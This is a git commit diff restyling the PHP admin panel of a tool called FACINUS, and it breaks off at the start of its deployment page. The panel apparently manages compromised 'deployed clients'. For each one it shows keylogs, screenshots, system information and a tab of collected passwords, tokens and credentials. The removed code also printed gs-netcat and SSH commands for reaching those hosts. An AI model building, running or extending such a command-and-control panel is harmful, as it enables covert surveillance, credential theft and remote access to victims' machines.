big update
This commit is contained in:
862
web/admin.php
862
web/admin.php
@@ -89,7 +89,7 @@ if ($authenticated && isset($_GET['host'])) {
|
||||
}
|
||||
}
|
||||
// Sort logs by most recent first
|
||||
usort($host_logs, function($a, $b) {
|
||||
usort($host_logs, function($a, $b) use ($logs_dir) {
|
||||
return filemtime($logs_dir . "/" . $_GET['host'] . "/" . $b) -
|
||||
filemtime($logs_dir . "/" . $_GET['host'] . "/" . $a);
|
||||
});
|
||||
@@ -101,175 +101,733 @@ if ($authenticated && isset($_GET['host'])) {
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>FACINUS - Admin Panel</title>
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 0; padding: 0; }
|
||||
.container { max-width: 1200px; margin: 0 auto; padding: 20px; }
|
||||
.header { background: #333; color: white; padding: 10px; }
|
||||
.header h1 { margin: 0; }
|
||||
.logout { float: right; color: white; text-decoration: none; }
|
||||
.sidebar { width: 250px; float: left; }
|
||||
.content { margin-left: 270px; }
|
||||
.card { border: 1px solid #ddd; border-radius: 5px; padding: 15px; margin-bottom: 20px; }
|
||||
.login { max-width: 400px; margin: 50px auto; border: 1px solid #ddd; padding: 20px; border-radius: 5px; }
|
||||
.form-group { margin-bottom: 15px; }
|
||||
input[type="password"] { width: 100%; padding: 8px; box-sizing: border-box; }
|
||||
button { background: #0275d8; color: white; border: none; padding: 10px 15px; cursor: pointer; }
|
||||
.host-list { list-style: none; padding: 0; }
|
||||
.host-list li { padding: 8px; border-bottom: 1px solid #eee; }
|
||||
.host-list li:hover { background: #f5f5f5; }
|
||||
.host-list a { text-decoration: none; color: #333; display: block; }
|
||||
.log-list { list-style: none; padding: 0; }
|
||||
.log-list li { padding: 8px; border-bottom: 1px solid #eee; }
|
||||
.log-list a { text-decoration: none; color: #333; }
|
||||
.tabs { margin-bottom: 20px; }
|
||||
.tab { display: inline-block; padding: 10px 15px; cursor: pointer; border: 1px solid #ddd; }
|
||||
.tab.active { background: #007bff; color: white; }
|
||||
.logs { background: #f8f8f8; padding: 15px; border: 1px solid #ddd; overflow: auto; max-height: 600px; font-family: monospace; white-space: pre-wrap; }
|
||||
.secret { background: #ffffd8; padding: 15px; border: 1px solid #e6e6a3; margin-bottom: 10px; font-family: monospace; }
|
||||
.secret-title { font-weight: bold; margin-bottom: 5px; }
|
||||
.alert { padding: 15px; margin-bottom: 20px; border: 1px solid transparent; border-radius: 4px; }
|
||||
.alert-danger { color: #721c24; background-color: #f8d7da; border-color: #f5c6cb; }
|
||||
.command { background: #f8f8f8; padding: 10px; border: 1px solid #ddd; font-family: monospace; margin: 10px 0; }
|
||||
:root {
|
||||
--primary: #3498db;
|
||||
--primary-dark: #2980b9;
|
||||
--secondary: #2c3e50;
|
||||
--secondary-light: #34495e;
|
||||
--accent: #e74c3c;
|
||||
--accent-light: #f39c12;
|
||||
--text: #2c3e50;
|
||||
--text-light: #7f8c8d;
|
||||
--text-dark: #1a252f;
|
||||
--bg: #f5f7fa;
|
||||
--card-bg: #ffffff;
|
||||
--border: #e0e6ed;
|
||||
--success: #2ecc71;
|
||||
--danger: #e74c3c;
|
||||
--warning: #f39c12;
|
||||
--info: #3498db;
|
||||
--logs-bg: #f8f9fa;
|
||||
--logs-border: #e9ecef;
|
||||
--secret-bg: #fff9e6;
|
||||
--secret-border: #ffecb3;
|
||||
}
|
||||
|
||||
* {
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: 'Segoe UI', -apple-system, BlinkMacSystemFont, Roboto, Oxygen, Ubuntu, sans-serif;
|
||||
color: var(--text);
|
||||
background-color: var(--bg);
|
||||
line-height: 1.6;
|
||||
}
|
||||
|
||||
.container {
|
||||
width: 100%;
|
||||
max-width: 1400px;
|
||||
margin: 0 auto;
|
||||
padding: 0 20px;
|
||||
}
|
||||
|
||||
.header {
|
||||
background: linear-gradient(135deg, var(--secondary) 0%, var(--secondary-light) 100%);
|
||||
color: white;
|
||||
padding: 15px 0;
|
||||
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
|
||||
position: sticky;
|
||||
top: 0;
|
||||
z-index: 100;
|
||||
}
|
||||
|
||||
.header h1 {
|
||||
font-weight: 600;
|
||||
font-size: 24px;
|
||||
letter-spacing: 0.5px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.header h1 i {
|
||||
margin-right: 10px;
|
||||
color: var(--accent-light);
|
||||
}
|
||||
|
||||
.header-content {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logout {
|
||||
color: white;
|
||||
text-decoration: none;
|
||||
background-color: rgba(255, 255, 255, 0.1);
|
||||
padding: 8px 15px;
|
||||
border-radius: 4px;
|
||||
transition: background-color 0.2s ease;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logout i {
|
||||
margin-right: 6px;
|
||||
}
|
||||
|
||||
.logout:hover {
|
||||
background-color: rgba(255, 255, 255, 0.2);
|
||||
}
|
||||
|
||||
.dashboard {
|
||||
display: flex;
|
||||
margin-top: 25px;
|
||||
gap: 25px;
|
||||
}
|
||||
|
||||
.sidebar {
|
||||
width: 280px;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.content {
|
||||
flex-grow: 1;
|
||||
}
|
||||
|
||||
.card {
|
||||
background: var(--card-bg);
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);
|
||||
padding: 20px;
|
||||
margin-bottom: 25px;
|
||||
border: 1px solid var(--border);
|
||||
}
|
||||
|
||||
.card-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
margin-bottom: 15px;
|
||||
padding-bottom: 15px;
|
||||
border-bottom: 1px solid var(--border);
|
||||
}
|
||||
|
||||
.card-header h2, .card-header h3 {
|
||||
font-weight: 600;
|
||||
color: var(--text-dark);
|
||||
margin: 0;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.card-header h2 i, .card-header h3 i {
|
||||
margin-right: 10px;
|
||||
color: var(--primary);
|
||||
}
|
||||
|
||||
.login {
|
||||
max-width: 400px;
|
||||
margin: 100px auto;
|
||||
background: var(--card-bg);
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.1);
|
||||
padding: 30px;
|
||||
border: 1px solid var(--border);
|
||||
}
|
||||
|
||||
.login h2 {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
color: var(--text-dark);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-size: 24px;
|
||||
}
|
||||
|
||||
.login h2 i {
|
||||
margin-right: 12px;
|
||||
color: var(--primary);
|
||||
}
|
||||
|
||||
.form-group {
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.form-group label {
|
||||
display: block;
|
||||
margin-bottom: 8px;
|
||||
font-weight: 500;
|
||||
color: var(--text);
|
||||
}
|
||||
|
||||
input[type="password"], input[type="text"] {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 4px;
|
||||
font-size: 16px;
|
||||
transition: border-color 0.2s ease;
|
||||
background-color: white;
|
||||
}
|
||||
|
||||
input[type="password"]:focus, input[type="text"]:focus {
|
||||
border-color: var(--primary);
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 3px rgba(52, 152, 219, 0.2);
|
||||
}
|
||||
|
||||
button, .button {
|
||||
display: inline-block;
|
||||
background: var(--primary);
|
||||
color: white;
|
||||
border: none;
|
||||
padding: 12px 20px;
|
||||
font-size: 16px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
transition: background 0.2s ease;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
button:hover, .button:hover {
|
||||
background: var(--primary-dark);
|
||||
}
|
||||
|
||||
.host-list {
|
||||
list-style: none;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.host-list li {
|
||||
border-bottom: 1px solid var(--border);
|
||||
}
|
||||
|
||||
.host-list li:last-child {
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
.host-list a {
|
||||
text-decoration: none;
|
||||
color: var(--text);
|
||||
display: block;
|
||||
padding: 12px 15px;
|
||||
transition: all 0.2s ease;
|
||||
border-radius: 4px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.host-list a i {
|
||||
margin-right: 10px;
|
||||
color: var(--primary);
|
||||
}
|
||||
|
||||
.host-list a:hover {
|
||||
background-color: rgba(52, 152, 219, 0.05);
|
||||
color: var(--primary);
|
||||
}
|
||||
|
||||
.host-list a.active {
|
||||
background-color: rgba(52, 152, 219, 0.1);
|
||||
color: var(--primary);
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.log-list {
|
||||
list-style: none;
|
||||
max-height: 400px;
|
||||
overflow-y: auto;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px;
|
||||
}
|
||||
|
||||
.log-list li {
|
||||
border-bottom: 1px solid var(--border);
|
||||
}
|
||||
|
||||
.log-list li:last-child {
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
.log-list a {
|
||||
text-decoration: none;
|
||||
color: var(--text);
|
||||
display: block;
|
||||
padding: 12px 15px;
|
||||
transition: background 0.2s ease;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
}
|
||||
|
||||
.log-list a i {
|
||||
margin-right: 10px;
|
||||
color: var(--text-light);
|
||||
}
|
||||
|
||||
.log-list a:hover {
|
||||
background-color: rgba(0, 0, 0, 0.02);
|
||||
}
|
||||
|
||||
.log-list a.active {
|
||||
background-color: rgba(52, 152, 219, 0.1);
|
||||
color: var(--primary);
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.log-date {
|
||||
color: var(--text-light);
|
||||
font-size: 0.9em;
|
||||
}
|
||||
|
||||
.tabs {
|
||||
display: flex;
|
||||
margin-bottom: 20px;
|
||||
border-bottom: 1px solid var(--border);
|
||||
overflow-x: auto;
|
||||
padding-bottom: 1px;
|
||||
}
|
||||
|
||||
.tab {
|
||||
padding: 12px 20px;
|
||||
cursor: pointer;
|
||||
border: 1px solid transparent;
|
||||
border-bottom: none;
|
||||
border-radius: 4px 4px 0 0;
|
||||
margin-right: 5px;
|
||||
color: var(--text-light);
|
||||
text-decoration: none;
|
||||
white-space: nowrap;
|
||||
transition: all 0.2s ease;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.tab i {
|
||||
margin-right: 8px;
|
||||
}
|
||||
|
||||
.tab:hover {
|
||||
color: var(--primary);
|
||||
background-color: rgba(52, 152, 219, 0.05);
|
||||
}
|
||||
|
||||
.tab.active {
|
||||
color: var(--primary);
|
||||
border-color: var(--border);
|
||||
border-bottom: 1px solid white;
|
||||
margin-bottom: -1px;
|
||||
background-color: white;
|
||||
}
|
||||
|
||||
.logs {
|
||||
background: var(--logs-bg);
|
||||
padding: 15px;
|
||||
border: 1px solid var(--logs-border);
|
||||
border-radius: 6px;
|
||||
overflow: auto;
|
||||
max-height: 600px;
|
||||
font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
|
||||
font-size: 14px;
|
||||
line-height: 1.5;
|
||||
white-space: pre-wrap;
|
||||
color: var(--text-dark);
|
||||
}
|
||||
|
||||
.secret {
|
||||
background: var(--secret-bg);
|
||||
padding: 20px;
|
||||
border: 1px solid var(--secret-border);
|
||||
border-radius: 6px;
|
||||
margin-bottom: 20px;
|
||||
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.05);
|
||||
}
|
||||
|
||||
.secret-title {
|
||||
font-weight: 600;
|
||||
margin-bottom: 10px;
|
||||
color: var(--text-dark);
|
||||
font-size: 16px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.secret-title i {
|
||||
margin-right: 8px;
|
||||
color: var(--warning);
|
||||
}
|
||||
|
||||
.alert {
|
||||
padding: 15px;
|
||||
margin-bottom: 20px;
|
||||
border: 1px solid transparent;
|
||||
border-radius: 6px;
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.alert-danger {
|
||||
color: #721c24;
|
||||
background-color: #f8d7da;
|
||||
border-color: #f5c6cb;
|
||||
}
|
||||
|
||||
.command {
|
||||
background: var(--logs-bg);
|
||||
padding: 12px 15px;
|
||||
border: 1px solid var(--logs-border);
|
||||
border-radius: 4px;
|
||||
font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
|
||||
margin: 10px 0;
|
||||
position: relative;
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
.copy-btn {
|
||||
position: absolute;
|
||||
right: 10px;
|
||||
top: 8px;
|
||||
background: var(--primary);
|
||||
color: white;
|
||||
border: none;
|
||||
border-radius: 4px;
|
||||
padding: 4px 10px;
|
||||
cursor: pointer;
|
||||
font-size: 12px;
|
||||
transition: background 0.2s ease;
|
||||
width: auto;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.copy-btn i {
|
||||
margin-right: 5px;
|
||||
}
|
||||
|
||||
.copy-btn:hover {
|
||||
background: var(--primary-dark);
|
||||
}
|
||||
|
||||
code {
|
||||
background-color: rgba(0, 0, 0, 0.05);
|
||||
padding: 2px 5px;
|
||||
border-radius: 3px;
|
||||
font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
|
||||
font-size: 0.9em;
|
||||
}
|
||||
|
||||
pre {
|
||||
background-color: rgba(0, 0, 0, 0.03);
|
||||
border: 1px solid rgba(0, 0, 0, 0.1);
|
||||
padding: 10px;
|
||||
border-radius: 4px;
|
||||
overflow-x: auto;
|
||||
font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.badge {
|
||||
display: inline-block;
|
||||
padding: 4px 8px;
|
||||
border-radius: 50px;
|
||||
font-size: 12px;
|
||||
font-weight: 500;
|
||||
margin-left: 10px;
|
||||
background-color: rgba(52, 152, 219, 0.1);
|
||||
color: var(--primary);
|
||||
}
|
||||
|
||||
.welcome-message {
|
||||
text-align: center;
|
||||
padding: 50px 0;
|
||||
}
|
||||
|
||||
.welcome-message i {
|
||||
font-size: 64px;
|
||||
color: var(--primary);
|
||||
margin-bottom: 20px;
|
||||
opacity: 0.2;
|
||||
}
|
||||
|
||||
.welcome-message h2 {
|
||||
margin-bottom: 15px;
|
||||
color: var(--text-dark);
|
||||
}
|
||||
|
||||
.welcome-message p {
|
||||
color: var(--text-light);
|
||||
max-width: 600px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
@media (max-width: 992px) {
|
||||
.dashboard {
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.sidebar {
|
||||
width: 100%;
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.header h1 {
|
||||
font-size: 20px;
|
||||
}
|
||||
|
||||
.login {
|
||||
padding: 20px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="header">
|
||||
<div class="container">
|
||||
<h1>FACINUS Admin Panel</h1>
|
||||
<?php if ($authenticated): ?>
|
||||
<a href="?logout=1" class="logout">Logout</a>
|
||||
<?php endif; ?>
|
||||
<div class="header-content">
|
||||
<h1><i class="fas fa-shield-alt"></i> FACINUS Admin Panel</h1>
|
||||
<?php if ($authenticated): ?>
|
||||
<a href="?logout=1" class="logout"><i class="fas fa-sign-out-alt"></i> Logout</a>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="container">
|
||||
<?php if (!$authenticated): ?>
|
||||
<div class="login">
|
||||
<h2>Login</h2>
|
||||
<?php if (isset($login_error)): ?>
|
||||
<div class="alert alert-danger"><?php echo $login_error; ?></div>
|
||||
<?php endif; ?>
|
||||
<form method="post">
|
||||
<div class="form-group">
|
||||
<label for="password">Admin Password</label>
|
||||
<input type="password" id="password" name="password" required>
|
||||
</div>
|
||||
<button type="submit">Login</button>
|
||||
</form>
|
||||
</div>
|
||||
<?php else: ?>
|
||||
|
||||
<div class="sidebar">
|
||||
<div class="card">
|
||||
<h3>Hosts</h3>
|
||||
<?php if (empty($hosts)): ?>
|
||||
<p>No hosts found.</p>
|
||||
<?php else: ?>
|
||||
<ul class="host-list">
|
||||
<?php foreach ($hosts as $host): ?>
|
||||
<li><a href="?host=<?php echo urlencode($host); ?>"><?php echo htmlspecialchars($host); ?></a></li>
|
||||
<?php endforeach; ?>
|
||||
</ul>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="content">
|
||||
<?php if (isset($_GET['host'])): ?>
|
||||
<div class="card">
|
||||
<h2>Host: <?php echo htmlspecialchars($_GET['host']); ?></h2>
|
||||
|
||||
<div class="tabs">
|
||||
<a href="?host=<?php echo urlencode($_GET['host']); ?>" class="tab <?php echo (!isset($_GET['secrets']) && !isset($_GET['info'])) ? 'active' : ''; ?>">Logs</a>
|
||||
<a href="?host=<?php echo urlencode($_GET['host']); ?>&secrets=1" class="tab <?php echo isset($_GET['secrets']) ? 'active' : ''; ?>">Access Info</a>
|
||||
<a href="?host=<?php echo urlencode($_GET['host']); ?>&info=system" class="tab <?php echo isset($_GET['info']) ? 'active' : ''; ?>">System Info</a>
|
||||
<div class="login">
|
||||
<h2><i class="fas fa-lock"></i> Admin Login</h2>
|
||||
<?php if (isset($login_error)): ?>
|
||||
<div class="alert alert-danger">
|
||||
<i class="fas fa-exclamation-circle"></i> <?php echo $login_error; ?>
|
||||
</div>
|
||||
|
||||
<?php if (isset($_GET['secrets'])): ?>
|
||||
<h3>Connection Information</h3>
|
||||
<?php if (empty($secrets)): ?>
|
||||
<p>No connection information available.</p>
|
||||
<?php else: ?>
|
||||
<?php foreach ($secrets as $type => $value): ?>
|
||||
<div class="secret">
|
||||
<div class="secret-title"><?php echo ucfirst(htmlspecialchars($type)); ?>:</div>
|
||||
<?php if ($type === "gsocket_secret"): ?>
|
||||
<p>Secret: <code><?php echo htmlspecialchars($value); ?></code></p>
|
||||
<p>Connect using: <div class="command">gs-netcat -s <?php echo htmlspecialchars($value); ?></div></p>
|
||||
<?php elseif ($type === "ssh_config"): ?>
|
||||
<?php $ssh_config = json_decode($value, true); ?>
|
||||
<p>SSH Port: <code><?php echo $ssh_config['port']; ?></code></p>
|
||||
<p>Connect using: <div class="command">ssh user@<?php echo $_GET['host']; ?> -p <?php echo $ssh_config['port']; ?></div></p>
|
||||
<?php elseif ($type === "ssh_key"): ?>
|
||||
<p>SSH Public Key:</p>
|
||||
<pre><?php echo htmlspecialchars($value); ?></pre>
|
||||
<?php elseif ($type === "wol_config"): ?>
|
||||
<?php $wol_config = json_decode($value, true); ?>
|
||||
<p>Interface: <code><?php echo $wol_config['interface']; ?></code></p>
|
||||
<p>MAC Address: <code><?php echo $wol_config['mac']; ?></code></p>
|
||||
<p>Wake using: <div class="command">wakeonlan <?php echo $wol_config['mac']; ?></div></p>
|
||||
<?php else: ?>
|
||||
<pre><?php echo htmlspecialchars($value); ?></pre>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
<?php endforeach; ?>
|
||||
<?php endif; ?>
|
||||
<?php elseif (isset($_GET['info']) && $_GET['info'] === 'system'): ?>
|
||||
<h3>System Information</h3>
|
||||
<?php if ($system_info): ?>
|
||||
<div class="logs">
|
||||
<?php foreach ($system_info as $key => $value): ?>
|
||||
<?php if (is_array($value)): ?>
|
||||
<strong><?php echo ucfirst(htmlspecialchars($key)); ?>:</strong>
|
||||
<ul>
|
||||
<?php foreach ($value as $item): ?>
|
||||
<li>
|
||||
<?php
|
||||
if (is_array($item)) {
|
||||
foreach ($item as $k => $v) {
|
||||
echo htmlspecialchars($k) . ": " . htmlspecialchars($v) . " ";
|
||||
}
|
||||
} else {
|
||||
echo htmlspecialchars($item);
|
||||
}
|
||||
?>
|
||||
</li>
|
||||
<?php endforeach; ?>
|
||||
</ul>
|
||||
<?php else: ?>
|
||||
<strong><?php echo ucfirst(htmlspecialchars($key)); ?>:</strong> <?php echo htmlspecialchars($value); ?><br>
|
||||
<?php endif; ?>
|
||||
<?php endforeach; ?>
|
||||
</div>
|
||||
<?php else: ?>
|
||||
<p>No system information available.</p>
|
||||
<?php endif; ?>
|
||||
<?php else: ?>
|
||||
<h3>Available Logs</h3>
|
||||
<?php if (empty($host_logs)): ?>
|
||||
<p>No logs available.</p>
|
||||
<?php else: ?>
|
||||
<ul class="log-list">
|
||||
<?php foreach ($host_logs as $log): ?>
|
||||
<li><a href="?host=<?php echo urlencode($_GET['host']); ?>&log=<?php echo urlencode($log); ?>"><?php echo htmlspecialchars($log); ?></a></li>
|
||||
<?php endif; ?>
|
||||
<form method="post">
|
||||
<div class="form-group">
|
||||
<label for="password">Password</label>
|
||||
<input type="password" id="password" name="password" required autofocus>
|
||||
</div>
|
||||
<button type="submit"><i class="fas fa-sign-in-alt"></i> Login</button>
|
||||
</form>
|
||||
</div>
|
||||
<?php else: ?>
|
||||
<div class="dashboard">
|
||||
<div class="sidebar">
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3><i class="fas fa-server"></i> Hosts</h3>
|
||||
<span class="badge"><?php echo count($hosts); ?></span>
|
||||
</div>
|
||||
<?php if (count($hosts) > 0): ?>
|
||||
<ul class="host-list">
|
||||
<?php foreach ($hosts as $host): ?>
|
||||
<li>
|
||||
<a href="?host=<?php echo urlencode($host); ?>" class="<?php echo isset($_GET['host']) && $_GET['host'] === $host ? 'active' : ''; ?>">
|
||||
<i class="fas fa-laptop"></i> <?php echo htmlspecialchars($host); ?>
|
||||
</a>
|
||||
</li>
|
||||
<?php endforeach; ?>
|
||||
</ul>
|
||||
|
||||
<?php if ($current_log): ?>
|
||||
<h3>Log: <?php echo htmlspecialchars($current_log); ?></h3>
|
||||
<div class="logs"><?php echo htmlspecialchars($log_content); ?></div>
|
||||
<?php endif; ?>
|
||||
<?php else: ?>
|
||||
<p class="welcome-message">
|
||||
<i class="fas fa-database"></i>
|
||||
<h2>No Hosts Found</h2>
|
||||
<p>There are no connected hosts in the system. Deployed clients will appear here once they connect.</p>
|
||||
</p>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="content">
|
||||
<?php if (isset($_GET['host'])): ?>
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h2><i class="fas fa-desktop"></i> <?php echo htmlspecialchars($_GET['host']); ?></h2>
|
||||
</div>
|
||||
|
||||
<div class="tabs">
|
||||
<a href="?host=<?php echo urlencode($_GET['host']); ?>" class="tab <?php echo !isset($_GET['info']) && !isset($_GET['secrets']) ? 'active' : ''; ?>">
|
||||
<i class="fas fa-file-alt"></i> Logs
|
||||
</a>
|
||||
<a href="?host=<?php echo urlencode($_GET['host']); ?>&info=system" class="tab <?php echo isset($_GET['info']) && $_GET['info'] === 'system' ? 'active' : ''; ?>">
|
||||
<i class="fas fa-info-circle"></i> System Info
|
||||
</a>
|
||||
<a href="?host=<?php echo urlencode($_GET['host']); ?>&secrets=1" class="tab <?php echo isset($_GET['secrets']) ? 'active' : ''; ?>">
|
||||
<i class="fas fa-key"></i> Secrets
|
||||
</a>
|
||||
</div>
|
||||
|
||||
<?php if (isset($_GET['secrets'])): ?>
|
||||
<?php if (count($secrets) > 0): ?>
|
||||
<?php foreach ($secrets as $type => $value): ?>
|
||||
<div class="secret">
|
||||
<div class="secret-title">
|
||||
<i class="fas fa-key"></i> <?php echo htmlspecialchars(ucfirst($type)); ?>
|
||||
</div>
|
||||
<div class="command">
|
||||
<?php echo htmlspecialchars($value); ?>
|
||||
<button class="copy-btn" onclick="copyToClipboard(this)" data-clipboard="<?php echo htmlspecialchars($value); ?>">
|
||||
<i class="fas fa-copy"></i> Copy
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
<?php endforeach; ?>
|
||||
<?php else: ?>
|
||||
<div class="welcome-message">
|
||||
<i class="fas fa-lock"></i>
|
||||
<h2>No Secrets Found</h2>
|
||||
<p>No passwords, tokens, or credentials have been collected from this host yet.</p>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
<?php elseif (isset($_GET['info']) && $_GET['info'] === 'system'): ?>
|
||||
<?php if ($system_info): ?>
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3><i class="fas fa-cogs"></i> System Information</h3>
|
||||
</div>
|
||||
<table class="info-table">
|
||||
<?php foreach ($system_info as $key => $value): ?>
|
||||
<tr>
|
||||
<td class="info-label"><?php echo htmlspecialchars(ucfirst(str_replace('_', ' ', $key))); ?></td>
|
||||
<td class="info-value"><?php echo htmlspecialchars($value); ?></td>
|
||||
</tr>
|
||||
<?php endforeach; ?>
|
||||
</table>
|
||||
</div>
|
||||
<?php else: ?>
|
||||
<div class="welcome-message">
|
||||
<i class="fas fa-exclamation-circle"></i>
|
||||
<h2>No System Information</h2>
|
||||
<p>System information has not been collected from this host yet.</p>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
<?php else: ?>
|
||||
<?php if ($current_log): ?>
|
||||
<div class="logs">
|
||||
<?php echo htmlspecialchars($log_content); ?>
|
||||
</div>
|
||||
<?php elseif (count($host_logs) > 0): ?>
|
||||
<ul class="log-list">
|
||||
<?php foreach ($host_logs as $log): ?>
|
||||
<?php
|
||||
$log_time = filemtime($logs_dir . "/" . $_GET['host'] . "/" . $log);
|
||||
$log_date = date("Y-m-d H:i:s", $log_time);
|
||||
$log_icon = "fa-file-alt";
|
||||
if (strpos($log, "keylog") !== false) {
|
||||
$log_icon = "fa-keyboard";
|
||||
} elseif (strpos($log, "screenshot") !== false) {
|
||||
$log_icon = "fa-image";
|
||||
} elseif (strpos($log, "system") !== false) {
|
||||
$log_icon = "fa-info-circle";
|
||||
}
|
||||
?>
|
||||
<li>
|
||||
<a href="?host=<?php echo urlencode($_GET['host']); ?>&log=<?php echo urlencode($log); ?>" class="<?php echo isset($_GET['log']) && $_GET['log'] === $log ? 'active' : ''; ?>">
|
||||
<div>
|
||||
<i class="fas <?php echo $log_icon; ?>"></i>
|
||||
<?php echo htmlspecialchars($log); ?>
|
||||
</div>
|
||||
<span class="log-date"><?php echo $log_date; ?></span>
|
||||
</a>
|
||||
</li>
|
||||
<?php endforeach; ?>
|
||||
</ul>
|
||||
<?php else: ?>
|
||||
<div class="welcome-message">
|
||||
<i class="fas fa-clipboard-list"></i>
|
||||
<h2>No Logs Available</h2>
|
||||
<p>No logs have been collected from this host yet. Check back later.</p>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
<?php else: ?>
|
||||
<div class="welcome-message">
|
||||
<i class="fas fa-shield-alt"></i>
|
||||
<h2>Welcome to FACINUS Admin Panel</h2>
|
||||
<p>Select a host from the sidebar to view logs, system information, and collected secrets.</p>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
<?php else: ?>
|
||||
<div class="card">
|
||||
<h2>Welcome to FACINUS Admin Panel</h2>
|
||||
<p>Select a host from the sidebar to view logs and connection information.</p>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
function copyToClipboard(element) {
|
||||
const text = element.getAttribute('data-clipboard');
|
||||
const textarea = document.createElement('textarea');
|
||||
textarea.textContent = text;
|
||||
textarea.style.position = 'fixed';
|
||||
document.body.appendChild(textarea);
|
||||
textarea.select();
|
||||
document.execCommand('copy');
|
||||
document.body.removeChild(textarea);
|
||||
|
||||
// Change button text temporarily
|
||||
const originalText = element.innerHTML;
|
||||
element.innerHTML = '<i class="fas fa-check"></i> Copied!';
|
||||
setTimeout(() => {
|
||||
element.innerHTML = originalText;
|
||||
}, 2000);
|
||||
}
|
||||
</script>
|
||||
|
||||
<style>
|
||||
.info-table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
}
|
||||
|
||||
.info-table tr:nth-child(even) {
|
||||
background-color: rgba(0, 0, 0, 0.02);
|
||||
}
|
||||
|
||||
.info-table tr:hover {
|
||||
background-color: rgba(52, 152, 219, 0.05);
|
||||
}
|
||||
|
||||
.info-table td {
|
||||
padding: 12px 15px;
|
||||
border-bottom: 1px solid var(--border);
|
||||
}
|
||||
|
||||
.info-table tr:last-child td {
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
.info-label {
|
||||
font-weight: 500;
|
||||
color: var(--text-dark);
|
||||
width: 25%;
|
||||
}
|
||||
|
||||
.info-value {
|
||||
font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.info-label {
|
||||
width: 40%;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</body>
|
||||
</html>
|
||||
|
268
web/index.html
268
web/index.html
@@ -4,85 +4,287 @@
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>FACINUS Deployment</title>
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 0; padding: 0; }
|
||||
